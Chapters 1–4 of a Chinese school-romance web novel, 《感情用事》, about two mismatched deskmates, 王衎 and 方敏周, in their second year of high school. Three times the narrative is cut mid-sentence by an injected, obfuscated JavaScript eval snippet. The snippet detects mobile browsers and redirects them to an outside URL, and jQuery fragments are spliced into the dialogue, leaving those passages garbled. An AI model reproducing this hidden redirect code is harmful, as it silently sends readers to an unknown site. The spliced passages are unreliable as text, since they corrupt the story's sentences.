《感情用事》 1. 第 1 章 高二开学考兼第一次月考后,召开了新学期第一次家长会。 一中表面上除了竞赛班外都是平行班,实际暗有排名。七班算师资生源都不错,这次考试班级平均分年级第四,一般,高分学生不少,可惜好生差生之间参差太大。 家长会前最后一节是自习课,班主任詹老师临时发下一张化学小测,像是有意给一群本就紧张的学生们添难,让方敏周课后收上来。 卷子其实不是很难,方敏周用了半节课时间写好并检查了一遍。铃响,她起身收卷子,这次顺利地很快收齐。 七班在二楼,詹老师所在的理科办公室在三楼,方敏周敲门进去时,八人间的办公室里只有两个老师在,其中詹老师桌旁坐着一位穿着入时的中年女性,应该是谁的妈妈提前来了。 詹老师从她手中接过卷子,指了下一旁的置物架,让她数好新的测试卷,转而继续对旁边的家长说话,“王衎自觉性太差,最重要的是他态度不好,现在开学一个月了,心思还没有回来,暑假也没怎么在学习吧?” 詹老师临近退休,是个貌似随和但行事果断的老教师,一般情况下她不管事儿,但不能有事儿撞上她的枪口。 王衎妈妈语露尴尬,“是,我和他爸做生意比较忙,我们也没太管他……” 方敏周默默数着卷子。 24、26…… 九月樟城的天气仍然炎热,有空调的办公室简直是天堂,手里的卷子都像冰丝一样舒服,但此刻方敏周一点不想多待。 身后詹老师毫不避着她的存在:“现在的孩子都很有自己的想法,是要给他们自由,但这种自由是要鼓励他们往前走的,而不是考差了也觉得没关系,整天嘻嘻哈哈的,那这样还能考好吗?” “老师你说得对,他吊儿郎当惯了,我回去一定说他。”王衎妈妈不好意思地说。 方敏周从小就是班级干部,没被叫过家长,但也经常进出办公室,总能撞见类似的谈话场景,眼前的还算是平静的。 她数好卷子,和詹老师说了声后正要走,又被叫住,“敏周,你帮我把王衎叫过来。” “……哦,好。”方敏周应道。 陈红珊对“方敏周”这个名字有点印象,待女孩关上门离开,她看了看手里的班级成绩单,找到了,班级第五,年级第三十六。 总分少看一门都快比王衎高,陈红珊由衷感慨,生了个糟心的孩子,每次来开家长会都抬不起头。 继续听班主任和她分析王衎的成绩,因为下学期才会考,这次排名是九门科目一起算的,如果不看文科,排名能高一点,“但英语和语文也都不是很好,高考最后还是要主科,等到高三再想拿高分来不及的。” 陈红珊连连点头,“王衎这个人就是比较懒,又觉得自己有点小聪明,不过我相信一中这么好的老师、这么好的同学,近朱者赤,还是辛苦老师多盯一下。” 詹明华拿起水杯喝了口茶,“学校应该做的都会做,但高二这个阶段,是……” 话没说完,门被敲了两下从外打开,王衎站在门口,明知故问:“老师,你找我?” 陈红珊一看他这站没站相的样子,气就不打一处来,恨不得过去揪他的耳朵。 詹明华朝他招招手:“对,我找你,过来。” 王衎在心里默默叹了口气,慢腾腾拖了把椅子到他妈旁边,刚坐下,就被扭了一把胳膊,他吃痛瞪大了眼睛,被他妈低声喝道:“坐直了!” 王衎挺直了腰背,手也规矩放到桌上。 他每次被叫办公室都没有好事,因此养就了一副应付的本领,来之前他就知道为了什么。不就是开学考嘛,但这次是真翻船了,不过就当来免费吹冷气了。 他悄悄调了调坐姿,让自己尽可能地对着风口。耳朵听着、嘴上应着、眼睛遛了一圈,目光停在桌上的成绩单上。 第五行的名字:方敏周。 刚才他和朋友在走廊聊天,就是这位直直朝他们这一帮人走来,机器人输入口令似地抛下一句:“詹老师找你去她办公室。” 没说找谁,剩下他们几个人面面相觑,最后把他推出来,“肯定找你的。” 王衎知道方敏周是化学课代表,但课代表一般都是小喽啰,没想到成绩还怪好的,他这次考得太差,也没心情关注前排的人是谁。 真是人不可……好吧,她看起来是挺会读书的样子。 想起方敏周那张故意绷得面无表情的脸,王衎忽然觉得有点好笑。 与此同时,耳旁的谈话声停了。 王衎:“……” 他收起不自觉的笑容,他妈正怒瞪着他,对面的詹师太则悠悠再一次端起她的白瓷茶杯。 陈红珊:“老师刚才说的话你听到没有?” 王衎:“听到了。” 詹明华:“我说了什么?” 王衎清清嗓,字正腔圆、中气十足:“老师,我之后一定好好学习,绝不拖班级后腿。” 还是差点挨揍。 好不容易捱到就要开家长会的时间,王衎得以从办公室解放,送他妈到教室,陈红珊低声警告:“回去再和你算账。” “好好好。”王衎催她赶快进去。 一个女生正好出来从后门出来,只听他妈惊喜地“诶”了声,亲热地叫道:“敏周是吧,我是王衎的妈妈。” “……阿姨好。”方敏周礼貌拘谨地说。 王衎:“……” “你好你好,刚才麻烦你帮忙叫王衎过来了哈,让你看笑话了。” “……没有。”方敏周微笑着摇头。 王衎脸都没了,“……妈,你快进去吧,别堵在门口了。” “我知道。”陈红珊不满地瞪了王衎眼,又夸了方敏周几句,直到有认识的家长打招呼,才一起走进班级,剩下王衎和方敏周站在一边,眼神相触。 “我妈……”王衎摸了摸鼻子,想解释一下,但无从说起,而方敏周非常敷衍地笑了下,扭头走了。 王衎挑眉。 他望向方敏周离开的背影,她的高马尾随着脚步微微晃动。 大概不是他的错觉,他的化学课代表方同学好像不太喜欢他。 王衎开始认真回想,但仍然没有想到什么时候、什么事惹到过她。开学不过个把个月,除了刚才她叫他去办公室和平时收作业收到他头上外,两个人基本也没什么交集。 哦,还有报道那天。 那天他来早了,班级里还没有几个人,老师不在,方敏周坐在讲台前管签到——当然,那个时候他还不认识她,而他走过去发现她在翻字典,字典正翻到“kan”的一页。 他这个名字从小到大给他惹了不少麻烦,王衎太习惯了,一边拿笔签字一边主动说:“‘kàn’,第四声。” 她却好像没注意到他,他突然出声,反而把她吓了一跳,瞪大眼睛盯了他一会,再看了下他签到的名字,才反应过来似的合上了字典。 那表情挺逗的。 “我是王衎。”他指了指自己,地自我介绍,正想顺便问问她的名字,老师也就是詹师太刚好回来,女生仿佛无事发生一般,把位子让给詹师太,直接回了座位。 王衎当时就觉得挺莫名其妙,后来才知道她叫方敏周。他还专门去查了下,发现“敏周”也是一个词语,意思是敏捷而周到。 肢体灵不灵活不知道,头脑算聪明,但对于“周到”一点,王衎存疑,周到的人会这么没礼貌? 不算帐还没发现,方敏周对他一直略过称谓,就好像他没有名字一样。 王衎猜,这要么是方学霸看不起学渣,要么,是她这样成绩好的人太有包袱,觉得被撞见查生僻字都有损尊严,不然他实在想不到其他原因。总而言之,王衎觉得这女生不太好相处。 家长会开完,王衎和他妈顺着人流往校门口走,他妈忽然拉了下他,指了指前面一对母女,“那个,是不是你同学?” “哪个啊?” “就那个,扎马尾、黑色书包的那个,方敏周。” 王衎有点不耐烦,是又怎样,不是又怎样,“您这么关注人家干嘛?” “咋了,人家成绩好我多关注下不行?”他妈说。 王衎纳闷:“她成绩好关你什么事啊?而且她又不是我们班成绩最好的。” 他妈一个脖拐,“她成绩好不关我的事,你成绩差丢我的脸!你就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270950|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,啊?你就继续这样,你们是不是要换位子了,就你这个成绩,等着被安排到垃圾堆角落去,笑什么笑,给你弄到犄角旮瘩去你反而更高兴是吧?” 王衎板正脸色:“哪有。” 陈红珊恨铁不成钢地长长叹了口气。 王衎也哎哟,一只手揉自己的脖子,一只手给他妈捏肩。前面那对母女早就走出校门外了。 相比大部分同学,王衎确实没有太大的学习压力。 他对自己要求不高,他爸妈对他要求也不高,之前觉得他能考上二中就烧高香了,最后中考分数出来正好踩着一中的分数线,夫妻俩互相怀疑对方祖坟最近是不是有什么动静。 “你下次考好点别再让我被老师叫去了行吗?”他妈说。 “行。”王衎一口答应。 他这进步空间可太大了。 周末过后,陈红珊就要回南城,这些年做生意,她和王衎他爸樟城南城两地跑,想到又要留王衎一个人在家里,心里也有点难受。 临走前,陈红珊想起之前家里老人去寺庙给王衎求的学业符平安符,要帮他系书包上,没想到这小子一点儿也不领情,气得她又要骂人,直到王衎把东西塞进包里夹层才勉强罢休。 “这样行了吧!”王衎有苦难言,谁书包上挂香囊啊!还是红色的! 而周日下午返校,当詹师太在电脑屏幕上放大最新的座位表时,王衎不知道这包里的香囊到底是生没生效。 王衎——方敏周。 一个几乎都是横竖,一个又是撇又是捺又是点,两个名字光是并排看起来都异常别扭。 如果学业符的作用是让他和学霸当同桌,但……这算平安吗? 现在的位置是刚开学时大家随便坐的,王衎坐在班级中间的最后一排,和他隔了一个过道的男生拍了下他的肩膀:“哇噻,你和方敏周诶。” 王衎不知道他在兴奋什么劲儿,“怎么了,你想和她坐?” “想啊,你不想吗?”对方眼神别有深意。 “那我跟你换?” “真的?能换么?” 讲台上詹师太正好说到如果对座位表有问题就找她,王衎示意他,对方却“啧”了声有些为难,犹豫间,詹师太已经带着她的茶杯走了,让班长监督大家换好位子就自习,坐里坐外自己商量。 “算了,那样太明显。” 王衎凉凉笑了声。 搬桌子的搬桌子、搬书的搬书,嘈杂混乱像盘被打乱的棋,王衎找到方敏周,她其实就坐在他的右斜前方,这次他们要一起搬到靠窗的第四排去。 王衎看她把桌面上的东西一一放进书包,桌肚里头满当当的,他正考虑要不要过去帮她搬桌子彰显一下所谓的绅士风度、拉进一下所谓的同学距离,冷不丁的,方敏周的目光穿过人群与他对上。 两个人默默对视了几秒,王衎并没有接收到到对方任何信号,但他还是站了起来,可他刚一动,方敏周反而冷淡地把脸别了过去,仿佛没有看到他一样,背上书包,手脚并用地把书桌往旁边推,显然是要自力更生的意思。 王衎无语,他还犯不着热脸贴冷屁股。 这座位表可太有问题了,但他也不至于真去找詹师太,而且根据他的经验,老师也是不会同意的。他的班级地位明显比方敏周低,不必自取其辱。 坐中间的人换位子最麻烦,四面八方的人全部堵在了一起,方敏周就被卡在了半途,王衎从后排搬过去反而更快。 他很无聊地得意于这一点小小胜利,不过尚有风度:坐窗边风景虽然好,却不方便进出,所以他主动把桌子靠窗摆好,再把自己的椅子搬来,腾出空间给他的新同桌。 而当方敏周好不容易推着桌子抵达终点后,王衎看到她抿了抿嘴。 王衎瞬间想问她是哪里又不高兴了,方敏周已经一声不吭地把她的桌子并在了他桌边。 两张桌子的木质纹理深浅不一,一看就不是一个阵营的,像是一道天然形成的楚河汉界。 这下真要画三八线也不用画了,王衎学她那样撇嘴。 余光一瞥,对方正冷眼看着他。 于是王衎正襟危坐,九十度托腮,转头看向窗外。 2. 第 2 章 方敏周确实不太喜欢她的新同桌。 首先,他都没有和她商量就占了里头的位置,导致他每次进出她都要站起来给他让位,而且他还是那种坐不住的人,几乎每节课下课都要出去,最多十分钟的课间,不知道有什么好玩的。 偶尔不出去,也不能安静,总有人来找他聊天,加上后排两个男生。一个叫吴丞,话虽少,耐不住他同桌郑彦航话多。 郑彦航是体育生也是男体育委员,张嘴NBA、闭嘴做投篮姿势。一帮男生聊篮球、聊游戏、聊周末去哪里玩,吵得要死,有时响铃了嘴还没停歇,方敏周用眼神警告过好几次。 但方敏周也想过,如果换她坐里面,就变成她进出需要经过王衎同意了,各有利弊,方敏周也就算了。 不过她还是对王衎当时的自作主张很不满意。 其次,王衎下课不学习,上课也不学习。 这本来不关她的事,但那天换完座位詹老师找她谈话,大意是解释自己为什么这么安排座位。 有的班主任会让成绩好的学生优先挑选座位,有的会把成绩好的学生全部安排在一起,詹老师不认可这种做法,她希望她的班级氛围是融洽的,同学之间是互助的,所以,虽然王衎成绩一般,但她前排的欧阳茜和金柏浩成绩都不错,后排的吴丞则是生物很好。 方敏周完全明白詹老师的意思,她希望她能够在帮助同学进步的同时实现自己的进步,她小学初中就被给予过类似的委托。方敏周并不乐于助人,但总会尽量满足老师家长们的要求。 她想的是,如果王衎问她问题,她会给他讲,但一周下来,别说问问题,两个人话都没说过几句。 他的学习态度,让方敏周觉得王衎迟早有天会是倒数第一。 至于詹老师对她会不会有不好的印象,方敏周也管不了那么多了。 然而讨厌的事情接二连三。 王衎经开学考一役已经成为各科老师们的重点关注人物,他的成绩较高一期末考实在掉了太多,每个老师上课时不时就会点他回答问题,他能答出来还好,他答不出来,老师摇摇头,下一秒就要叫方敏周起来回答。 方敏周很不喜欢这种情况,好像她是专门给王衎收拾烂摊子的,而且虽然她会,但无形中她的关注度在老师同学之间也变高了,万一哪天哪道题她没能答上来,岂不是很丢脸? 有一次王衎英语课走神被老师抓到,老师罚他准备首英文歌这周上台表演,他一口应承,到了要兑现的时候,他却一脸懵,显然忘了这件事,但随手拿了本书就走上讲台:课本卷起来当话筒,带着脸颊因课间补觉压出的红印,张嘴就是一首“love”“baby”词汇量过高的情歌。 轰堂的笑声起哄声里,哭笑不得的老师挥挥手让他赶快“Gobacktoyourseat”。 王衎耸耸肩轻松下台,几十双眼睛目送他回到位置上,目光聚集处,方敏周替王衎脸红。 方敏周不喜欢王衎还有第三个原因,早在换位子之前,是开学报道时埋下的隐端。 那天她刚报道完,有其他老师喊詹老师,班级里人寥寥无几,詹老师便让她监督后来的同学签到。 她坐在讲台前守株待兔,讲台上除了一张班级名单、几盒粉笔、一块黑板擦外,只有一本新字典,她便随手拿来翻看。真的是无聊没事干,才对着班级名单上查了几个不认识字,偏偏就让当事人之一撞见了,还得意洋洋地自我介绍。 那时,王衎额头有一块尚未愈合的擦伤,头发贴着头皮,很像混混。一中虽然是樟城最好的高中,但难免会有一些浑水摸鱼的人。她觉得这个人好自恋,这有什么好嘚瑟的? 换座位那会,王衎额头的伤好了,头发也长长了点,看起来良善了一些,但第一印象总是难以调转。 前后排聊天,忘了谁提到王衎的名字,好像是金柏浩,他认识了一个生僻字,觉得生活中处处是知识,又忘了谁随口问这名字谁取得,王衎说是他爷爷,又被问怎么取的。 彼时收拾课桌的方敏周的余光明显感觉到王衎看向了她,在她看回去前,王衎收回目光,懒懒地说:“翻字典随便取的。” 方敏周沉默,她一直没说话,一个劲儿地垒书,书堆高到坐下可以半挡住王衎。 欧阳茜眨眨眼,转而说起自己的名字给她带来的烦恼。自我介绍的时候,她要说:“大家好,我叫欧阳茜,没错,就是那个欧阳。” 若是别人问:“诶,你姓欧阳啊?” 她要给反应:“是的,我姓欧阳。” “诶你这个字,是念‘qiàn’还是‘xī’?” “念‘qiàn’。” 方敏周莞尔一笑。 都不是什么大事,她选择忍耐。 九月末,秋分已过,眼见栾树的花开了,粉红色的果实、绿色的树叶,映着湛蓝的晴空。 一中建在市中心湖山公园旁,闹中取静,太阳落山后,至今保留着几栋青砖白瓦和中西合璧小洋楼的校园更多了一分秋日轻薄的凉意。不过南方即使到了冬天也是葱郁的,站在操场,可以看见对岸山顶的古塔掩映在一座青山盎然之后。 这天晚饭方敏周是和高一的好友元月一起吃的。 元月在隔壁文科班八班,这次开学考她考得还可以,但她说要不是她暑假有提前补课,现在应该已经翻车了。 “只是开学考,别担心。”方敏周安慰她。 “哎。”元月还是有点郁闷。 吃过晚饭,两个人绕着操场走了两圈后便往教学楼方向走去。 考好考坏已成定局,高兴不高兴也就成绩出来那两天,风吹一吹,大家就开始盼望国庆假期了,而且今年国庆和中秋连着放假,这几天空气闻起来都是浮躁散漫的,路过的篮球场非常热闹。 但见元月情绪始终比较低落,方敏周想着聊一些开心的事情,便问她假期有什么计划,没想到这正戳中了元月的心事,她说她哥国庆回家,她可能七天都要在家补习了。 纵使方敏周也不禁“啊”了一声。 元月和她说起过一些她的家事,她口中的哥哥,是她邻居家的哥哥,但在元月亲哥哥去世后,一直很照顾她。也是一中毕业的,现在在邻省重点大学读大三。 高一寒假,元月拉着方敏周去他家补过课。 本不该打扰,但方敏周在学习上比较积极,且好奇学霸学长的教学质量,但最后只去了两次。 原因是元月的哥哥完全是根据元月的水平讲的课,方敏周不在他的照顾范围内,而且……他是很严肃的一个人,方敏周意外自己有点怵他,更意外元月居然不怕他。 “我怕啊。”元月说。 方敏周表示看不出来。 现在听说元月整个国庆都要补课,方敏周也同情。 元月本身成绩一般,但考试运不错,按她所说,当年是她哥拖拉硬拽,她才能从一中初中部考上来。 “我怕我哥失望……”元月嘀咕。 “不会的。”方敏周说,“你有问题可以来找我。” “嗯。”元月感激地点点头,随后深呼吸了一口气,振作精神,有点不好意思地回问方敏周,“不说了,一直都是我在抱怨,敏敏你呢?” “我什么?” “也是,感觉你都不会有什么烦恼。” 方敏周笑了笑:“怎么可能。” 元月投来惊讶关心的目光。 高一坐了一年同桌,方敏周察觉得到她在元月眼里无限趋向优秀,虽然事实并非如此,但方敏周不自觉也戴上了包袱。 像元月担心她哥对她失望一样,她也担心自己的形象在元月心中破灭,所以她洒洒水般:“也没什么事,就是新班级,还是有点不习惯。” “我也是。”元月说,“要是我们还在一个班还坐同桌就好了。” 方敏周:“……我也想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270951|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说话间,她们已经走到了教学楼楼下。一中走读生和住宿生各半,但都要求参加晚自习,不过今天是周五,自习课少一节,可以早点回家。 元月聊起她刚换了位置,新同桌是个温柔开朗的女生,梦想是要当老师,“你呢?” “也换了。” 但王衎的梦想?她不知道。 “男生女生?” “男生。” 元月“哦”了声,“怎么样?” “什么怎么样?” “比如……你们关系怎么样?他成绩怎么样?”元月问得很是天真烂漫。 方敏周有点想笑,“他成绩不怎么样,我们关系也不怎么样。” “为什么?”元月觉得方敏周似乎对这位男生有点意见,尽管以她对方敏周的了解,她不会因为成绩看不起人,但元月还是难免想到自己,有点羞赧,“……我成绩也不太好。” 方敏周说不是这样的,她的新同桌是学习态度就不端正,至于其他的,“也没怎么,就是……看不太顺眼。” 她不想说别人坏话,但话到这份上,有些情绪又不吐不快,说完她自己都不禁思考,她看谁顺眼。 嗯……像元月,她看到她第一眼就很喜欢。 “砰——” 身后突然一声球砸地的声音,把方敏周和元月都吓了一跳,一回头,只见王衎单手抓住弹回来的篮球。 方敏周:“……” 教学楼一楼光线昏暗,这沉默之间,附近的树木都被灯影映得仿佛鬼魅。王衎面容模糊看不清表情,但刚才那下砸球,已经在方敏周心上吹下一记。 说人坏话——方敏周觉得也不算坏话,她只是客观陈述了一个估计王衎同样认可的事实,但被本人听到,着实还是很尴尬。她有些脸热,可与此同时,也有一种如释重负的轻松,这让她有底气站在原地,面不改色地与王衎对视。 元月也尴尬,她不认识眼前的男生,但方敏周好像认识……她有些紧张地看看这个、看看那个,男生冷着脸抱球上楼了,她们两个则站在原地,过了会,才走过去。 元月小心翼翼地问方敏周:“……你同学?” 方敏周真怕把元月吓到,顿了顿,回:“我同桌。” 元月一愣,反应过来后确实被吓到了,眼睛瞪得大大的,路都快要不会走了,“啊,那我们刚才……怎么办?” “没事,我们也没说什么。” 元月结巴了,这、这叫没说什么吗? “他估计也不是很想和我坐同桌。” 元月不明白,“你们吵架了?” “没有。”方敏周耸了耸肩,“就不太对盘吧,我们平时也不说话的,反正期中考之后我打算跟老师说换位子。” “可以换吗?” “可以吧。” 元月:“……万一老师不让呢?” 方敏周没太想过这个可能性,因为她觉得照这样下去,王衎期中考一定会考得更烂,到时候就算詹老师不担心他坐她旁边影响她成绩,她也有理由提出换同桌。 “可是这才刚开学,就算你们不做同桌了,但大家还是同学……”元月还是很担心,想到什么,她语气变得认真,“……他是不是欺负你?” “怎么可能。” 她被元月逗到,元月却还是一脸忧愁,方敏周觉得她可爱的同时,内心也有点小感动,“别担心啦,真没事,他要是生气了,大不了我和他道歉一下就好了。” 元月听了,又说:“……但你也确实没说什么啦。” 方敏周心里想笑,元月可能都没意识到自己在护犊子。她朝隔着的八班前门动了动下巴,示意元月回班级,“放心吧。” 元月嘴唇微鼓,小金鱼一样点点头。 她的位置在靠门的第二大组,方敏周看着她坐下后,再挥挥手,才转过身。站在后门一眼扫过教室,王衎并不在座位上。 3. 第 3 章 距离晚自习上课还有一点时间,但大部分人都已经回到自己的座位上。 欧阳茜在和文娱委员尹梦然聊天,方敏周坐下时,欧阳茜问她国庆有什么计划。 “怎么了?”方敏周问。 “我们在约人国庆去欢乐谷玩,听说还会放烟花,你有兴趣吗?”尹梦然说。 方敏周又问:“什么时候?” “一号人太多了,可能二号或者三号吧。” “那好像不太行,我国庆前几天应该会去我外婆家。” “这样啊,那下次有机会。” “嗯。” 尹梦然看了眼王衎的空座位,对她们说:“等会王衎回来,你们帮我问下他去不去?” 从他人听到“王衎”的名字,方敏周有种蚊子突然飞到了她耳边“嗡嗡”叫的感觉。她暗暗庆幸自己已经婉拒,她和尹梦然还有新班级的大部分同学,都还没有熟到可以出去玩的程度。 欧阳茜瞄了眼没吱声的方敏周,应下:“好的。” 尹梦然走后,欧阳茜说:“要不是我要出去玩,我还挺想去的。” 过了会,不见方敏周接话,欧阳茜提醒她:“你现在应该问我一句,我要去哪里玩?” 方敏周反应过来后,笑着无奈配合她:“你要去哪里玩?” “我小姨要去内蒙,我也想去,到时候回来给你带牛肉干。” “好啊,谢谢。” 欧阳茜想了想,回头拿了一盒混合水果硬糖,“吃吗?吃颗糖开心点。” “……我没不开心啊。”方敏周一边说一边拿了一颗蓝色的,入口冰凉的薄荷味,好看不好吃。 “是吗?那是我想多了,不过还是可以吃颗糖更开心点。”欧阳茜漫不经心地开玩笑,糖果在嘴里咬得嘎蹦响。 方敏周一笑,忽地若有所觉地往右边看,见王衎从前门冒头,她犹豫了几秒,还是主动站起来提前让出位子。 王衎倒是很理所应当、不急不慢地信步走过来,径直坐下,在欧阳茜的全程围观下,他的态度顿时令方敏周感到些许难堪,好像她是一个负责给他让道开门的保安或者士兵一样,而他是君王天子之类的人物。 方敏周憋了口气坐下。 欧阳茜朝方敏周眨了眨眼,对她和王衎之间更加严峻的气氛略有所感一般,但她没有多说,而是把糖果盒也往王衎面前一递。 王衎说他不喜欢吃甜的。 欧阳茜也就是客气一下,转而向王衎转述尹梦然的邀约,王衎又说他有事,欧阳茜就说:“那就下次吧,看来大家都没空。” “大家是谁?”王衎随口一问。 “我要出去玩,敏周要去外婆家。”欧阳茜指了指戴着耳机写作业的金柏浩,“他要补课。” 于是方敏周感觉王衎顺着欧阳茜的话看了她一眼,下一秒,似乎还笑了一声。 方敏周:“……” 上课铃响了,欧阳茜的目光在她和王衎之间一提溜,然后像八音盒里的小人,把身子转回去。 方敏周则看向王衎,后者早已悠哉游哉看起手里的体育杂志。 如果说宽慰元月的时候她嘴上说着没事、心里多少还是有点嘀咕的话,王衎这一声冷笑让方敏周彻底打消了弥补的念头。 她奉行客观理性做人做事,说道歉并不是完全糊弄元月,毕竟她说话也许真的伤到了人家,可以的话,她还是希望尽量和平相处,但王衎这个态度,方敏周就不可能再拉下脸了。 就这样吧,她心想,本来她就是实话实话。 但王衎似乎不打算这么罢休。 第一节晚自习下课铃声刚响起的时候,方敏周还在写作业,突然椅子腿被从旁边踢了一下。 很轻但很突然的一下,但她手一抖,手里的黑笔在本子上划出一条长长的黑线,对比整面整洁的字迹,异常突兀。 方敏周抬起头,王衎居高临下、嘴角微扬,“我要出去。” 方敏周抿嘴,按下怒气,站了起来。 等王衎走了,目睹事情经过的欧阳茜正要说什么,金柏浩快了一步,问方敏周:“你数学作业写了吗?” 欧阳茜:“……” 金柏浩推了推眼镜,不明所以,方敏周朝欧阳茜示意没事后,回答金柏浩:“写了。” “最后一道数列我好像公式哪里搞错了,答案不对。”金柏浩苦恼求救。 “我看看。” 一旁的欧阳茜望着天花板叹了口气。 十分钟的课间休息时间在一道题的讨论中很快过去。 而当第二节晚自习开始的铃声都响完了,王衎才姗姗来迟,这时早已重新专注于做题的方敏周又被王衎踢了下椅子,她的思路一下子就断了。 怒气像出壳的小鸡叽叽喳喳,方敏周硬是摁住,重新看了一遍题目,织补上自己刚才断了的思绪后,才慢慢抬头看向王衎。 教室很安静,轻轻的翻书声、沙沙的写字声,仔细听,也许还能听见头顶白炽灯滋滋的电流声。 再好的学校、再好的班级,总会有几个“不学无术”的学生,不管他们是心思散漫了还是因为发现跟不上所以干脆不再努力,方敏周高一班上有比王衎更捣乱的同学,但她与他们同班期间几乎没有接触,而现在眼前这个混蛋是她的同桌。 王衎一字一字地对她做口型:麻烦——让一下。 他站得时间稍久,多少引起了周边的注意。 如果这就是代价……方敏周撑着桌子第二次站了起来。 王衎装模作样地动动嘴角致谢,坐下后继续看起他那本体育杂志。 方敏周觉得他非常幼稚。 前排传来一张纸条:没事吧? 方敏周能想象出欧阳茜问这句话的语气,她回道:没事,别担心。 检查了下,好像有点冷漠,奈何画艺不精,就又画了一个笑脸小太阳,她轻轻拍了拍欧阳茜的肩膀,把小纸条递还给她。 杂志挡着脸,窥见这一幕的王衎眉毛挑得老高,见鬼似的看着方敏周。 他还以为他的同桌是个绝对遵规守纪的三好学生,居然也会偷传小纸条,可别是在写他的坏话。 再次发现王衎目光的方敏周向他投来眼刀,几秒交锋,两人面无表情地转过脸去。 等王衎翻完了感兴趣的杂志板块,他瞄了眼手表,这节自习课也已经快过去一半,他该写点作业了,不然周末可能来不及写完,而方敏周依然在奋笔疾书,王衎抻着脖子偷瞧了一眼,是物理卷子。 方敏周和他印象里的好学生像又不像, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270952|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样学习努力,屁股一坐就不会动一样,但脾气真的很大,只是表面上看不出来。以为是只羊,实际上这只羊顶人可疼。 而今天晚上他越是看到方敏周认真学习,他的心情就越烦闷。 第二节晚自习马上就要结束的时候,班级里多少有些躁动,但方敏周丝毫不受影响。王衎想通了原因,大概是她的一心向学侧面反应了她对他不屑。 什么学习态度端不端正,就是嫌弃他成绩差嘛。 王衎的脑海里来来回回就是方敏周那两个“不怎么样”。 初听见的难堪和恼火过后,现在平静下来的王衎觉得方敏周挺可笑的,但他不至于和一个女生计较,故意捉弄了人两次,再有气也得消了。 下课铃响了,动作快的同学一个箭步就冲出了教室。以前王衎都懒得带书回家,今天一股脑全塞进包里,而方敏周大概是注意力太过集中,右手撑着脑袋看着题目,纹丝未动。 郑彦航喊他,王衎想叫方敏周让他出去,腿一伸,下意识地又踢到了她的椅子,王衎一惊,“不……” 他想说“不好意思”,但方敏周“啪”的一下把笔拍在了桌上,“你可不可以不要再踢我的椅子了?” 王衎错愕。 又一次被打断思路的方敏周很生气,她没有再逆来顺受地站起来,而是狠狠瞪着王衎。 虽然王衎是站着那一个,但坐着的方敏周气势汹汹,她眼神里带着鄙夷,语气严肃:“我说,你可不可以不要再踢我的椅子了?你要出去,直接跟我说,我会让你出去的,可以吗?” 她说话的声音并不大,但就像一块冰,气场如冷气般散开,还没走的其他人纷纷放慢了动作觑着,一片被风吹伏了的芦苇。 王衎没想到方敏周居然能如此理直气壮地指责他,他让方敏周看看四周,咬着字提醒她:“那我要说,下课了,放学了。” 方敏周的冷脸裂开一条缝隙:她忘了今天是周五,只有两节晚自习。 转念,她更讨厌王衎了。 每天的晚自习她都会给自己安排一个学习计划,晚自习结束还没完成,她也会留下来继续。之前她坐里面,完全不影响他人,但是现在……她心一凛,当下觉得必须把态度和王衎摆明了,不然保不齐他变本加厉地“报复”她。 “就算下课了放学了,你也不应该踢我的椅子,你不能好好说话吗?” 王衎张了张嘴,最后怒极反笑。 到底是谁不会好好说话? 方敏周毫不退却地与王衎戏谑的眼神相对。 看来他完全不知道自己有多讨人厌。 郑彦航和吴丞在门口一直没等到王衎,奇怪地走进教室,看到王衎和方敏周在吵架,大惊失色。 也还没走的欧阳茜觉得稀奇,看这两个人这周一直暗中较劲,没想到还真会吵起来,不过表面上还是要开口劝解几句。她站在方敏周这边,说王衎的不对,但也让方敏周不要太生气。 “是啊是啊。”郑彦航附和。 “怎么了?”班长林斯年也走过来。 方敏周不想把事情闹大,被太多人围观,她更觉得丢脸,站起来让出位置,跟林斯年说“没什么”,王衎黑着脸,一言不发—— 擦肩而过的瞬间,他深深看了她一眼。 4. 第 4 章 小学写周记,题目《我的周末》,方敏周当时的周末一般是这样的: 周六上午上奥数课,下午在家写作业,周日上午上新概念英语课,下午有时候会去市图书馆看书学习,有时候和同学一起出去玩。 高中生方敏周的周末生活和小学时大差不差。 周六全天补课,高中平时休息时间太少,周日上午她会多睡一会,下午学习。 方敏周的自觉规律,除了本身性格喜静外,也是小时候爸妈严格教育的结果。 